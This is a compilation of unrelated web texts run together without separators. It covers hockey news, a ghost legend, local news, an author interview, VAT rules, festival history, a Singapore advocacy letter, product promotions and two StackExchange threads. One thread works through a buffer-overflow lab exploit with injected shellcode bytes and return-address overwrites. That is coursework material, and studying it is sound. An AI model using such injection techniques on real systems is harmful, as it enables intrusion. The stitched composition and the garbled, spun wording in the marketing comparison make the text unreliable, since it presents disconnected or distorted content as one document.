Rangers' McDonagh: 'We were the slower team'
By Dhiren MahibanJan 14, 2015, 2:00 AM EST
Anders Lee, Nikolay Kulemin and Frans Nielsen scored second period goals while Jaroslav Halak made 27 saves as the New York Islanders blanked the New York Rangers 3-0 Tuesday night.
The Islanders concluded their season-high seven-game road trip with 10 of 14 points and improved to 10-3-1 in their past 14 games.
"It's a big win," said Islanders captain John Tavares. "Certainly it's going to make a lot of people on Long Island happy [Wednesday] morning. We're excited about beating them. It's a lot of fun. The rivalry has been great and you enjoy it. Obviously they've been playing well and the top of our division is real tight, so just a big game."
The loss halts the Rangers' five-game winning streak. New York entered the game with a 13-1-0 record since Dec. 8.
Henrik Lundqvist made 29 saves on 32 shots and was pulled after the second period. Cam Talbot made 12 saves in relief.
"We were the slower team, which we haven't been in this last stretch," Rangers captain Ryan McDonagh said. "We know what makes us successful and we just weren't doing it tonight. They were definitely making us look pretty slow out there."
The Rangers also lost center Derek Stepan. The 24-year-old did not play in the third period due to what the team is calling an upper body injury.
Carl Hagelin had a close call in the first period. The Rangers' forward was cut by the skate of Islanders defenseman Johnny Boychuk. Hagelin left the game, but returned after having the cut stitched up.

Blues' recipe for success hasn't changed in quest for Cup repeat
By Sean LeahyJan 28, 2020, 12:00 PM EST
ST. LOUIS — There was one thing Craig Berube wanted to focus on during his first training camp leading the Blues. With his players going deep into June en route to winning the Stanley Cup, the head coach wanted to keep his practices short. After playing 108 games last season, he was aware of the effects of two extra months of hockey.
Instead of longer skates to shake out the summer rust, Berube and his staff kept them short, fast and intense.
Berube also did not place any special attention on hammering home one particular message: avoiding a Stanley Cup hangover. A short off-season that featured plenty of celebrating the franchise's first championship wasn't one of his major concerns.
"I don't think we went into camp with that focus," Berube told NBC Sports. "We went into camp with getting going again and getting the skating and working. I thought our guys came in great shape and I thought we had really good practices in training camp."
Roster consistency — Patrick Maroon was the only face gone from the Cup-winning team when camp opened — was also a key that helped drive the Blues off to a strong start to the 2019-20 season. (Joel Edmundson exited week later in a trade that brought Justin Faulk to St. Louis.)
The players walked into that dressing room and saw the same faces that were on the ice that Gloria-ous night in Boston. The way the Blues put a forgettable first few months of last season behind them and started a run in January that ended with a title showed how the chemistry finally came together. Keeping the roster pretty much intact ensured little need to get across an understanding of what made them successful.
"That helps a lot. That really helps us get to our identity," said forward Ryan O'Reilly. "We kind of know what our best game looks like. We know as individuals what guys can do. It's easy to have the communication and talk to each other and make the adjustments when we need to and lean on each other in certain ways at those crucial times."
The Blues entered the NHL All-Star Break with 30 wins in 49 games and the second-best record by points percentage (.643) in the league. Their biggest skid happened right off the bat with losses in five of their first eight game of the season — three of which came in overtime or the shootout. That was followed by a stretch of nine wins in 10 games, setting them on the right course to a first half of dominance in the Western Conference.
Stanley Cup champions can fall prey to a hangover as they begin their defense, but that didn't hit the Blues for too long. The 29 points earned in their first 20 games is the third-best start for any defending champion since 2006-07. Only the 2008-09 Red Wings (32 points) and 2013-14 Blackhawks (29 points) had better starts.
Defending Stanley Cup champions in their first 20 games since 2006-07 NHL season.
"Over that whole process of last year, of starting with the low point and building our way back up, finding our identity, getting in the playoffs, keep building from there, we really found something in ourselves that we kind of knew how to turn on when we needed to," said O'Reilly. "That carried over into this year where we know it's not going to be the same thing. We're going to have to do this thing a different way. It's going to be tough because teams are gunning for us, but we just have to find a way to always keep reinventing ourselves — get to our identity, playing hard, build our game from there. We just really paid attention to the details when we needed to."
The Blues have gone from being the hunter to the hunted now. Every team wants to beat the defending champs, especially their Central Division rivals who are looking to make up ground in the playoff race. Berube's hammered home the fact that they have targets on their backs and complacency is not an option. They don't want to waste such a good first half and they understand there's still a lot of hockey left to play.
"We haven't had any easy games. We really haven't," said Berube, who noted he's not thinking beyond the regular season at all. "There's been tough games, no matter who we play, it always a hard game. I think our guys have bought into that and they're understanding that more and more as it goes along. We've got a long way to go yet, we've got a lot of hockey to play and we're going to have to play good hockey. Everybody's going to be fighting now. Everybody's going to be dialed in, fighting for a playoff spot, positioning, all that. All these games coming down the stretch are going to be tough."
The messages Berube delivers every day continue working. He took over a team in Nov. 2018 that was lacking confidence, something he pointed out in his opening press conference. Slowly the turn around began and the players bought in big time. It paid off, as we know, so it's no surprise that the success has continued into this season. The plan was put in place long ago and no one has deviated it from it. That's why the Blues are a serious threat to repeat.
"What worked for him last year works for him this year," said Blues captain Alex Pietrangelo. "That's been pretty much the recipe for our entire group. We found something that works from the coaching staff all the way down and we've stuck with it."

The Legend of Minnie Quay of Lake Huron
Posted by A.R. Childs on February 9, 2022 February 9, 2022
Minnie Quay was born way, way back in May of 1861 to James Quay and his wife, Mary Ann. She grew up with her family in the town of Forester, on Lake Huron, halfway between Port Huron and the tip of the thumb, which I first read and I thought it was just funny Michigan speak but it's actually 103 mile water trail and by is it this island called Turnip Island because it juts up from the water and looks like a turnip.
Turnip Island. This has nothing to do with the story I just thought it was interesting.
Minnie's family owned a tavern in Forester which was a little small town right on the lake and during this time ships would dock at the small town due to it's booming lumber industry.
When Minnie was only 14 when she fell in love with a young sailor, that worked on one of the ships that would make it's way to town. However, everyone in her small town was not as taken by the young man and the rumors flew around that he had a girl waiting for him in every port he stopped at. Minnie's father outright forbade his daughter from having any contact with the man, he prevented her from saying goodbye and seeing him off when his ship left the harbor but she made it very, very clear to those around her that she had every intention of hatching a plan and sneaking off to see him the next time his ship came into port.
Minnie Quay
However, she never got the chance to put her plan into action because he would never be coming back… In the spring of 1876, the news hit the town of Forester that the ship her young sailor had been on got caught in a bad storm and sank to the bottom of Lake Huron.
Poor young Minnie was devastated by the news. Not only had her true love died, but she never even got to say goodbye. A few days later, on Apr. 27, 1876 she killed herself by going to the town pier and jumping off into the cold water and drowning. She was only a month shy of turning 15.
An 1876 newspaper article reported the story:
"A young girl named Minnie Quay, about fifteen years of age, committed suicide by throwing herself into the lake from Smith's dock, at Forester, one afternoon last week. She was seen in the act of jumping by her little brother, who was on shore. A quick alarm was given, and men commenced at once to grapple for the body, but it was an hour before it was discovered. Her father is a mechanic in Smith's mill, and is highly respected. No cause is assigned for this rash act."
But there was a cause, and that cause was a very broken heart.
Quay Family Plot in Forester Cemetery
Buried in the Forester Cemetery, overlooking Lake Huron, the legend says Minnie's ghost has been seen walking the shoreline…her mournful cries of sorrow have been heard coming from the cemetery late at night as she still waits for her sailor who will never come back….young women from Forester claim that they've seen the apparition of Minnie calling them to the waters as if inviting them to join her at the bottom; one girl went so far as drowning herself after saying she saw the ghost of Minnie drawing her into the water.

Architect KPMB Architects
44 Broadway is the result of an exciting parternship between the Catholic community, represented by the Archdiocese of Toronto and St. Monica's Roman Catholic Church, and two of Toronto's most respected names in development, KPMB Architects and Collecdev Inc.
With an eye to the future, St. Monica's Parish and the Archdiocese of Toronto set out to pursue the redevelopment of the church in a manner that would provide a new home for the parish and ensure continued service to the community for generations to come. After an intensive RFP (Request for Proposal), KPMB and Collecdev were selected as the project architect and developer, thanks to their demonstrated capacity and dedication to work collaboratively with the church, the community, and city staff on a truly unique site.
St. Monica's Roman Catholic Church has been a beacon of diversity, inclusion, and faith for over a century, and the redevelopment plans at 44 Broadway will ensure that the site continues to act as a cornerstone for the Yonge & Eglinton community. The proposed design integrates a strong civic presence with a contemporary expression of faith and a 44-storey residential tower that will contribute to the growing demand for housing in one of the city's largest growth nodes. Together, we will create a place that not only preserves and integrates the spirit of St. Monica's, but reinterprets the notion of community for the modern age.

Columbine Threat by Woman Who Bought A Gun And Who Is "Infatuated" With The Shooting
On Wednesday all the public schools in the Denver-area will be closed Wednesday as authorities search for a young Florida woman who flew to the city and bought a gun after becoming "infatuated" with the mass shooting at Columbine High School, CBN News reports.
The FBI has shared that the lady in question: Sol Pais, 18, is "considered to be extremely dangerous" and "made threats to commit an act of violence in the Denver metropolitan area" just days before the 20th anniversary of the attack that killed 13 people.
All schools in the Denver area were urged to tighten security because the threat was deemed "credible and general," said Patricia Billinger, a spokeswoman for the Colorado Department of Public Safety. Columbine and more than 20 other schools outside Denver lock their doors for nearly three hours Tuesday afternoon before Wednesday's complete closures were announced.
The Jefferson County Sheriff's Office and the FBI say Pais traveled to Colorado from Miami on Monday night and bought a pump-action shotgun and ammunition.
"We always have heightened awareness close to high-profile anniversaries like this"
"We always have heightened awareness close to high-profile anniversaries like this," Billinger said.
Authorities said Pais was last seen near Columbine -- in the Jefferson County foothills outside Denver -- wearing a black T-shirt, camouflage pants and black boots. They appealed for anyone seeing her, to call an FBI tip line at 303 630-6227, and said she is too dangerous to be approached by civilians. The alert also said police who come into contact with her should detain her and evaluate her mental health.
"This has become a massive manhunt ... and every law enforcement agency is participating and helping in this effort," Dean Phillips, special agent in charge of the FBI in Denver, said late Tuesday night.
The Columbine school shooting had two teenage gunmen attack Columbine on April 20, 1999, killing 12 classmates and a teacher.

Co-Authors Interview: Walter Dean Myers & Ross Workman on Kick
Home » Co-Authors Interview: Walter Dean Myers & Ross Workman on Kick
Walter Dean Myers and Ross Workman are the co-authors of Kick (HarperCollins, 2011). From the promotional copy:
For the very first time in his decades-long career writing for teens, acclaimed and beloved author Walter Dean Myers writes with a teen, Ross Workman.
Kevin Johnson is thirteen years old. And heading for juvie.
He's a good kid, a great friend, and a star striker for his Highland, New Jersey, soccer team. His team is competing for the State Cup, and he wants to prove he has more than just star-player potential. Kevin's never been in any serious trouble . . . until the night he ends up in jail.
Enter Sergeant Brown, a cop assigned to be Kevin's mentor. If Kevin and Brown can learn to trust each other, they might be able to turn things around before it's too late.
Walter Dean Myers is the New York Times bestselling author of Monster (HarperCollins, 2004), winner of the first Michael L. Printz award, and Harlem, illustrated by Christopher Myers (Scholastic, 1997) a Caldecott Honor and Coretta Scott King Honor Book. The inaugural recipient of the Coretta Scott King-Virginia Hamilton Award for Lifetime Achievement, he is considered one of the preeminent writers for children. He lives in New Jersey with his family.
When Ross Workman was thirteen, he wrote a fan email to his favorite author.
When Walter Dean Myers wrote back and asked him whether he would be interested in writing a book, Ross was amazed—and incredibly excited.
Four years later, Ross is seventeen and in eleventh grade. In addition to writing, Ross plays a sport every season: high school soccer in the fall, high school wrestling in the winter, and club travel soccer in the spring. He lives in New Jersey.
Ross, you first contacted Walter to express your appreciation for his books. Which is your favorite and why?
It's difficult to choose a favorite, because I like so many of Walter's books. At the moment, my favorite is Monster, but I could easily pick others as my favorite.
After I learned why Walter used the format he did for Monster, I had a new appreciation for the book.
He often visits young people in prison, and he found that the people he spoke to would switch to the third person point of view when talking about their crimes. They wouldn't take ownership of the crimes. I'm interested in the way Walter writes about Steve Harmon's point of view.
Ross, it would certainly be flattering to be invited by your favorite author to collaborate–but also a huge commitment for someone already balancing school, sports, family. Did you hesitate? Jump right in? What made "yes" your final answer?
Honestly, I didn't even have to think about it. This invitation from Walter Dean Myers—my favorite author—was too good to pass up! If I had thought about it, I would have worried more about whether I could actually write a book.
Ross, what surprised you most about writing a novel?
I had always thought that writers just sat down at their computers and the words just came to them and they wrote.
It's not like that at all. There's a lot of thinking involved before you even write a word. And sometimes just coming up with the right phrase or sentence can take a long time.
But I guess the most surprising thing was how much work there is to do after a book is accepted, and how much work an editor does. There are a lot of stages of the book to look at.
To both, what were the biggest challenges of collaboration?
Ross: Trying to make sure my writing was good enough to appear in a book co-written by Walter Dean Myers. I wanted to do my best.
Walter: I'm so accustomed to going my own way that I had to stop and consider what my coauthor would do with a scene or where he might deviate from the story I had in mind.
Fortunately, we had worked out most of the details in advance and thought a lot alike so it wasn't that much of a problem.
To both, what did you love about it?
Ross:
Getting a chance to work with Walter was amazing. I learned so much about writing! For me, the creative process is the most interesting part. I just love to write.
Walter: The chance to see another writer at work was wonderful. It was sort of like playing a team sport. The joy of winning as a team is very special.
Finally to both, what did you learn from the experience?
Ross:
I learned so much that I can't list everything here. One interesting thing was that I saw my writing change as I got older. Now that I'm seventeen, I think (and hope) I write differently from the way I did at thirteen. If I wrote the book now, it would be quite different just because I am older and I've changed.
Walter: First, I learned that my faith in a young writer was justified. We came to a point at which I was sure that Ross could have finished the book alone. I'm glad he didn't, of course.
I also saw, first hand, that the experience of writing increases the ability to write. Ross wrote much more convincingly at the end of this project than he did at the onset. I believe that structure helps in the writing process and working with Ross on Kick served to reaffirm this in my mind.
Ross, many teens read Cynsations, and many of them are writers themselves. What advice do you have for them?
You have to be willing to work really hard if you are serious about your writing. Once the more creative part is done, and it's all just the hard work of revision, you need to put in the time and stick to it. Don't give up.

Q: Store multiple grep in one command output to a variable I am trying to get a list of IPs that are UP, so used nmap to first save all of them in a text file:
nmap -v -sn 10.10.10.1-254 -oG hosts.txt

Now I want to run another nmap command on these IPs, so to parse and get the IP from the text file.  I am trying the following, but its not working; the variable v does not have the value of IP saved:
#!/bin/bash
while read line; do
    v=$line|grep 'Up' -B1|grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}'

    echo $v
done < hosts.txt

A: Your script doesn't appear to be properly written:
v=$line | grep [...]

Assigning a variable has no output, so you are piping nothing into grep.
It would probably be simpler to point awk at your hosts.txt file:
$ nmap -v -sn 10.10.10.1/24 -oG hosts.txt > /dev/null 2>&1
$ awk '$NF=="Up" { print $2 }' hosts.txt

Given the format of the file created by nmap (forgive the different IP range; I'm clearly on a different network but the example is still valid):
$ head hosts.txt
# Nmap 7.60 scan initiated Fri May 11 10:14:28 2018 as: nmap -v -sn -oG hosts.txt 172.28.9.67/24
# Ports scanned: TCP(0;) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 172.28.9.0 (hostname1.internal)   Status: Up
Host: 172.28.9.1 (hostname2.internal)   Status: Up

If we're only interested in hosts which show Status: Up, helpfully the magic word is the last one on the line.  So we use awk to look only at those lines where the last field is equal to Up, and print the second field (to wit: the IP address).

The Chabad House in partnership with the sisters of Alpha Phi Sorority and brothers of Tau Kappa Epsilon brought the Binghamton University community a unique Chanukah celebration with the "You Can Light up a Life" Menorah. The Menorah was created from $1800 worth of cans donated by BU students, and was disassembled after the ceremony so the cans could be given to CHOW, a local food bank. At the Chanukah Extravaganza, students enjoyed the Menorah lighting ceremony, hot latkes and apple cider, chocolate gelt, donuts, and a min-concert by the Crosbys. University President Lois DeFleur was on hand for the ceremony and expressed her pride in this great project.
Over 1200 Chanukah Kits containing a Menorah, box of candles, gelt and a dreidel plus a brochure with the blessings for Menorah kindling and other Chanukah information were distributed at Binghamton University by the Chabad House. Students set up "Chanukah Kiosks" in the Dining Halls, Library, Union and Lecture Halls distributing the kits during lunch and Dinner hour. "The response to this campaign was overwhelming," said a student involved. "People were so happy that we made these kits available to them for free."
On Thursday, November 29, Chabad House held its annual Women's Dinner and Cabaret in celebration of the talented Jewish women at Binghamton University. Participating students sang a capella, performed instrumentals, presented dramatic monologues and comedic pieces, read poetry, danced, and even taught Tai-Kwan-Do to the enthusiastic audience. A gallery of original paintings, photographs, and crafts was on display as well. "The evening was special in so many ways. The talent of these girls never ceases to amaze me and the spirit of sisterhood engendered at this event is powerful and nourishing," said Rivkah Slonim.
Each month the ladies get together to celebrate the new moon. For Rosh Chodesh Kislev we enjoyed an enlightening presentation by Joy Mushabac, who traced the history of courtship and dating in America over the centuries. Thought provoking conversation flowed throughout the night. For Rosh Chodesh Tevet, which fell at the beginning of finals week, we enjoyed stress busters such as yoga exercises, face masks and smoothies. The best part of each part is, of course, the bonding!
Hundreds of students, new and returning, enjoyed Chabad's annual Welcome Back BBQ held in Sinisi Park on campus. "The BBQ was a great way to end our slew of "welcome back festivities" and a really fun way to meet so many new people," said Abie Mizrahi, Chabad student president. "Now the fun really begins with a year chock full of amazing activities.

Q: Buffer overflow Attack (The Attack Lab phase 2) I have a buffer overflow lab I have to do for a project called The Attack Lab. I'm on phase 2 of the lab, and I have to inject code as part of my exploit string in order to make the program point to the address of the function touch2(). I've gotten to the point where the output says that its a valid solution for phase 2, but then it says I caused a seg fault and then says I failed the phase.
This is the error message I receive
cookie:  0x2d6fc2d5
Type string:Touch2!: You called touch2(0x2d6fc2d5)
valid solution for level 2 with target ctarget
ouch! You caused a segmentation fault!
better luck next time
FAILED

this is my exploit code in assembly
mov1 $0x2d6fc2d5, %rdi
retq

this is what I pass into the program
48 c7 c7 d5 c2 6f 2d c3 #bytecode of exploit code
00 00 00 00 00 00 00 00 #padding of 0x38, amount needed to overwrite ret address

0d 18 40 00 00 00 00 00 #address of touch2()

I've looked at tutorials online and have been working on this for hours, but I haven't found a solution and I'm not sure what's causing the issue. It says the solution is valid, but then seg faults and fails. Any help would be greatly appreciated and let me know if there's anything that needs clarifying!

A: It seems the attack lab has been tweaked recently.
You should avoid overwrite the next part of the return address in stack
Instead, you can use push instruction to add values to the stack.
Try remove touch2 address from the input and use following code.
mov $0x2d6fc2d5, %rdi
pushq $0x40180d
ret

A: Printing the "valid solution" line is equivalent to running your unauthorized code, so imo you've already beaten the challenge regardless of the seg fault.
I believe you have too much padding. The buffer is probably 24 char and you've got 6 lines of buffer, so I'm guessing you are going past rsp, jumping to somewhere invalid, causing a segfault.

Sweeping VAT reforms in the EU will affect the UK's online retailers
Home / Business / Sweeping VAT reforms in the EU will affect the UK's online retailers
July 1, 2021 12:31 pm Anna Cummings Business Comments Off on Sweeping VAT reforms in the EU will affect the UK's online retailers
Retailers that heavily rely on online sales to EU consumers need to comply with VAT reforms, which were introduced on 1 July 2021.
The new rules were originally designed to stop an estimated €7 billion in annual VAT fraud by non-EU ecommerce sellers, mainly those in China.
But after the UK left the EU at the start of the year, around 26,000 small and medium-sized ecommerce businesses in the UK also need to comply.
Those who export goods to EU customers face the biggest upheaval, with VAT exemptions for SMEs and shipments of €22 or less being removed.
James Sibley, head of international affairs at the Federation of Small Businesses, said:
"UK small firms will lose exemptions for small consignments, while those within the bloc making cross-border sales under €10,000 a year will continue to enjoy [tax] breaks."
Exporters who use online platforms, such as Amazon or eBay, can now register for VAT in the country where they sell most of their goods, which the European Commission estimates will cost up to €8,000.
Alternatively, it's possible to subcontract VAT to the online platforms they use to sell their goods, or ask the postal service to handle VAT.
Small businesses could claim up to £2,000 each through the Brexit Support Fund, which closed on 30 June 2021.

aquarius festival
The original Aquarius festival was held at the Australian National University Canberra in 1971, a political protest, anti war and anti conscription. Graeme Dunstan, Vye Tourle and Johnny Allen worked as organisers of the 1973 festival for the Aquarius Foundation of the Australian Union of Students. As a political activist Graeme had been involved with the anti war movement since 1965, and as organiser of the festival he was now more interested in cultural change. In 1972 he travelled the country searching for a new way to live, seeking tribes and extraordinary people, and believing that by bringing people together with the power of joy the festival would make itself.
In 1970, Paul Joseph had settled in Upper Main Arm in Mullumbimby in the first North coast commune. In 1972 the organisers arrived to investigate a suitable site for a festival. Paul became the Aquarius song man, introducing the anthem of the Aquarius festival taken from a song by the Incredible String Band, may the long time sun shine upon you… Paul along with others formed a theatre group, the White Company, to promote the festival.
Nimbin was chosen as a location for the festival as it was removed from the structures in society that the organisers had previously been protesting against. The festival was to create and provide direction for the future. Whitlam had been elected and conscription to the Vietnam War had ended. Student and counter cultural activists, conservationists, healers, architects, engineers, indigenous people for land rights, alternative media and gurus and creative artists gathered at the lifestyle festival. Several buildings in the town were bought by the Australian Union of Students, including the Tomato Sauce building, currently the Hemp embassy, the Rainbow Café and Birth and Beyond, (Now the Apothecary, formerly the RSL)
After the festival, the first multiple occupancy community was created at Tuntable Falls. Several years later, campaigns to stop logging of the rainforest resulted in the declaration of the Nightcap National Park. The lifestyle festival and the era that followed gave the new settlers a sense of belonging in the community. The festival was one of the first times in Australia where indigenous custodianship was acknowledged, organisers originally seeking approval from local Bunjalung Elders before proceeding.
Nimbin's sister city is appropriately Woodstock in New York State USA.

letter by s'pore gay group fails to win over MPs on oral sex issue
An emotional letter by People Like Us has failed to convince legislators to consider decriminalising homosexual oral sex when they review the Penal Code about oral sex.
An emotional and personal letter that was meant to appeal to the MPs as parents of children who could be gay had failed to pull at their heartstrings, even when the letter pointed out that current anti-gay laws would make their children criminals just on the basis of their sexuality.
"At some point, you will have to tell your gay children that they are criminals in Singapore through no fault of their own.
People Like Us (www.plu-singapore.com) is a gay advocacy group in Singapore since 1993, which the government still refuses to recognise.
"The only way they would not be criminals would be if they never ever became intimate with anyone they fell in love with, abandoning any prospect of a fulfilling personal life." The open letter read.
The letter which was sent on last Wednesday - on the eve of Chinese New Year - to all MPs had hoped that the legislators would consider decriminalising homosexual oral sex as they review the Penal Code with the intention of decriminalising between a man and a woman above the age of consent. Many, however, believe that the review will not include oral sex between members of the same-sex.
Senior Minister of State for Law and Home Affairs, Prof Ho Peng Kee, announced the move on Jan 6 after a case involving a 27-year-old policeman who was jailed for two years last November for having oral sex sparked off an intense public debate in the media as well as on the Internet.
According to The Straits Times who contacted nine MPs about the letter, several said that "society may not be ready for the group's agenda to be pushed, and that using tactics that played on emotions could dilute the issue."
Mr Arthur Fong (West Coast GRC) said that as the Government opens up, individuals and groups may try to raise particular issues. But he added: "Those who use this avenue must respect the space of others as well."
The report, however, did not specify how a letter calling for legislators to apply the law to both homosexuals and heterosexuals would be read as being disrespectful to others.
Mr Gan Kim Yong (Holland-Bukit Panjang GRC) told the paper: "Its main argument is there will be some homosexuals among us and our children, given statistical averages."
"However, I think the mere statistical presence of homosexuals among us does not make it the right thing to do and certainly does not imply fundamental shifts in societal norms." Said Mr Gan whom the paper also noted that he has two daughters, aged 12 and nine.
He said so despite the warning of a worst case scenario for a lesbian daughter who has to keep up appearances: "Or you could be a strict parent and insist that they keep up appearances at all cost. Your daughter must get married, even if her heart feels nothing for any man. Once married, she must allow herself to be repeatedly raped by someone she does not love - her husband. All in the name of the norms that heterosexist laws enshrine."
"Supporting the continued criminalisation of homosexual sex between consenting adults is a violation of your love for your own children," the letter concluded.
The response was not unexpected as Eileena Lee who is one of the three signatories of the letter, along with Kelvin Wong and Alex Au, told Fridae: "The [intention of the] letter was to generate a new and fresh angle to get publicity. The desired outcome was to get the many MPs to reflect on the issue from a different angle - that of their conscience."
(Letter replicated in full on page 2.)
People Like Us sends open letter to Parliament: All oral sex should be decriminalized
On 21 January 2004, People Like Us sent an open letter to all 94 Members of Parliament. The text of the open letter is as follows:
It is likely that a bill amending the Penal Code section pertaining to oral sex will be presented soon to Parliament for your approval. Based on what has been mentioned in the recent sitting of Parliament, it is likely that the bill will leave oral sex between two persons of the same sex as a criminal offence.
You will hear from other forums all the reasons why this would be bad law, chiefly because it would be discriminatory.
This is not just an academic question, since by the law of probability, some Members of Parliament will have gay sons or lesbian daughters.
With 94 MPs, assuming 2 offspring per MP on average, there may be around 190 sons and daughters. Even using the lowest incidence of homosexuality, about 2% of the population -- a figure that the homophobic lobby prefers to use -- there are likely to be 4 gay or lesbian sons or daughters among them. Using an incidence estimate that most researchers accept as a reasonable ballpark figure, 6%, there are likely to be 11 or 12 gay/lesbian offspring among the 190.
We don't even need to use the 10% incidence rate that some researchers have found. We don't need to include nephews, nieces or grandchildren whom you may dearly
Chances are that, as a parent, you don't know whether your child is gay or not. Often, we hear that the parents are the last to know - which tells you a lot about the degree of discrimination gay people face and the extent of cover-up they must construct.
At some point, you will have to tell your gay children that they are criminals in Singapore through no fault of their own.
The only way they would not be criminals would be if they never ever became intimate with anyone they fell in love with, abandoning any prospect of a fulfilling personal life. Alternatively, they would have to emigrate from Singapore.
Or you could be a strict parent and insist that they keep up appearances at all cost. Your daughter must get married, even if her heart feels nothing for any man. Once married, she must allow herself to be repeatedly raped by someone she does not love - her husband. All in the name of the norms that heterosexist laws enshrine.
This doesn't apply to me or my family -- we are all apt to say. We know our children are not gay -- parents are apt to say. But the law of probability tells us some of you are going to be proven wrong.
Supporting the continued criminalisation of homosexual sex between consenting adults is a violation of your love for your own children.
In November 2003, a police officer, Anis Abdullah, was convicted under Section 377 of Singapore's Penal Code, for "carnal intercourse against the order of nature". Anis was found guilty of having received fellatio from a 16-year-old girl whom he had dated.
Following his conviction, there was an outcry from the general public who were surprised that oral sex was still a criminal offence in Singapore. On 6 January 2004, Minister of State for Law and Home Affairs Ho Peng Kee made a statement in Parliament to the effect that the law on oral sex was under review, with the likely prospect that consensual oral sex between adult males and females would be decriminalized.
People Like Us is a gay advocacy group in Singapore since 1993, which the government still refuses to recognise.

Wishpond integrates With a help desk program UserVoice, and additionally with SurveyMonkey for successful polls. Integrations using Webinar programs like ClickWebinar and GoToWebinar will help you conduct smooth webinars for your leads as soon as they sign up on a few of your own campaigns.

Strutta does not Provide any free support, and their plans are rather expensive. The package of 249 $399 and $999 named Turnkey, Designer and Professional respectively. The number of sharing programs is limited to Facebook, Instagram, microsite, site, iframe, along with several other channels.
Struta Does not possess the site popups feature. The assortment of templates can also be less. No marketing automation or direct data analyzer, unlike Wishpond. Strutta lacks program integration which is disappointing. There's a deficiency of lead information analysis that can be used for turning leads into loyal customers. I believe with Strutta, I had to spend more time. On the contrary, Wishpond did save a great deal of time.
Rafflecopter and Wishpond have many similar attributes. However, I believe Wishpond beats Rafflecopter with its integrations. Though Rafflecopter supplies Pinterest entry option and Facebook entry option, I would still vouch for the numerous marketing programs from Wishpond. Wishpond offers marketing automation, which can be lacking in Rafflecopter.
Rafflecopter, on The other hand, has a FREE program which may entice users. But I am convinced those who are unwilling to compromise their marketing requirements, will proceed and'buy' a plan that suits their needs.
Aritic PinPoint is a full Stack marketing automation instrument with advanced automation features. Developed for SMBs mainly, Aritic PinPoint shares All of the attributes present in Wishpond. However, Aritic PinPoint exhibits a much richer feature record. For example, Wishpond provides global stats for all the campaigns while Aritic PinPoint shows you region-wise or even country-wise reports. The marketing automation suite from Wishpond is also quite basic. With Aritic PinPoint, marketing automation forms the core. You get deep email segmentation based on lead behavior, events, stage where the lead/customer is presently in with respect to the buyers' travel, and demographics such as location, age, gender, joining date, etc.. Email campaigns are complex due to this comprehensive segmentation.
Additionally, Aritic PinPoint works on a multichannel strategy towards promotion. It's possible to join and nurture your prospects via emails, SMS campaigns, push notifications, landing pages, mobile notifications, and social media integrations. Wishpond has only SMS, landing pages, and emails. This brings us to the pricing department. Since Aritic PinPoint is quite a bit more sophisticated than Wishpond and contains a lot of features, it is costlier. For an enterprise, Aritic PinPoint offers account-based marketing which is absent in Wishpond.
I Was naturally lured towards Shortstack by just looking at the price! Their services start from zero and proceed on to $29 for the simple plan. The Enterprise plan at $499 gives you access to all of the features. Shortstack provides just over 30 pre-design themes unlike the countless choices from Wishpond. Another serious lapse is the lack of real-time testing for customized layouts. Another point of difference is, with Shortstack the number of consumers or team members can also be strictly restricted to one. In circumstances where multiple users are desired, a price of around $29 per month is achievable; unlike Wishpond which can provide a number of users with limited access to info.

One of my favorite quotes is by Seuss and says, "Today you are you! That is truer than true! There is no one alive who is you-er than you!" As you can imagine, that quote is perfectly in line with who I am as a person – I am The Rebel Chick, after all! I grew up believing in my own personal worth, knowing that I didn't need to fit in to be cool, that my uniqueness made me who I was – and that person was pretty cool. I joke around with friends that "I do what I want," but it's true – I am who I am, and I am not afraid to be unique! In fact, I actually thrive on it.
A company that really gets this is Intel Security! In partnership with artist Rob Cantor, True Key by Intel Security created this video celebrating the uniqueness of all of us. This video celebrates different talents from all over the internet, with 40 unique and exciting aspects; we're talking everything from hair styling to food stylists, juggling to bike riding. It's all about being your own unique self, and I love it!
So, we are all unique, but it seems that a lot of us have something in common: we aren't very good at creating passwords that are hard to crack because we have a hard time remembering them all! On average, people have about 27 online accounts and only use around 6 unique passwords; this means that we are repeating passwords and creating an opportunity to get hacked! One study showed that 73% of consumers used duplicate passwords and 77% have passwords that are over a year old! As my ex-husband worked in IT, I have always known the importance of having very unique passwords and changing them frequently, but many just don't realize, or they're afraid they won't remember all of their passwords. So what do you do to avoid this and keep all of those online accounts safe? Use True Key by Intel Security!
What is True Key by Intel Security?
The True Key app removes the hassle of remembering multiple passwords and instantly logs you in to your favorite sites. You can sync your True Key profile to your phone, tablet and computer and enjoy more control over your online identity.
There are several ways to use True Key by Intel Security; you can use a facial math recognition tool called Face to log in, or traditional methods like email, a master password, fingerprint, etc. There is a two step process to set it all up to ensure your protection, and you can even set up additional security measures if you like!
True Key by Intel Security sounds pretty amazing, doesn't it? You can use it on your phone, tablet or computer, so no more trying to remember passwords when you are switching between devices and signing into different accounts. It's a one stop shop for all of your passwords, period!
Multi-factor authentication, or MFA, is standard with the True Key app. You'll always be verified by at least two factors before being signed in. Customize your profile by adding more factors — the more you add, the safer your profile becomes.
Signing in can be as simple as using one factor that you choose — like your Face, Fingerprint or Master Password — on a device you trust. When not on a Trusted Device (a friend's phone, hotel computer), you'll be verified by two other factors you've chosen.
Did you like that fun video? If you want to be a part of the next one, you can! You can participate in the 1in7Billion campaign and share what makes YOU unique through a photo or video submission and it might be included in the next 1in7billion video!!

Drones Draw More Controversy As Berkeley Tries To Keep Them Out Of Their Skies
By Peter Murray
As the number of police agencies adopting surveillance and/or armed drones, privacy – and personal – protection guidelines will have to be established by the FAA.
It's a bird…it's a plane…it's…it's Big Brother hovering over your head.
As drone technologies continue to improve and as the official use of drones continues to extend its reach some are sounding the alarm that the birds'-eye view, high-definition surveillance poses an increasing threat to personal privacy. And rather than wait for the Federal Aviation Administration (FAA) to take action, Berkeley, California is attempting to take the lead and proclaim the sky above their city a 'No Drone Zone.'
The resolution was put forth at a December 18th Berkeley City Council meeting by the city's Peace and Justice Commission who declared that "drones will not be purchased, leased, borrowed, tested or otherwise used by any agency of the City of Berkeley over the City of Berkeley, including drones in transit." Anyone in violation would face fines up to $10,000 and jail time up to a year. The resolution makes an exception for drones flown by hobbyists, but only as long as they are flown in designated areas away from residential areas and are not equipped with cameras or audio surveillance devices. The resolution remains only a proposal at the moment, but it includes a charge to the City Attorney to begin the necessary legal action to turn the declaration into city legislation.
So much for taking the Parrot AR.Drone 2.0 with its awesome 1280×720 HD resolution for a joy flight over the Berkeley skies.
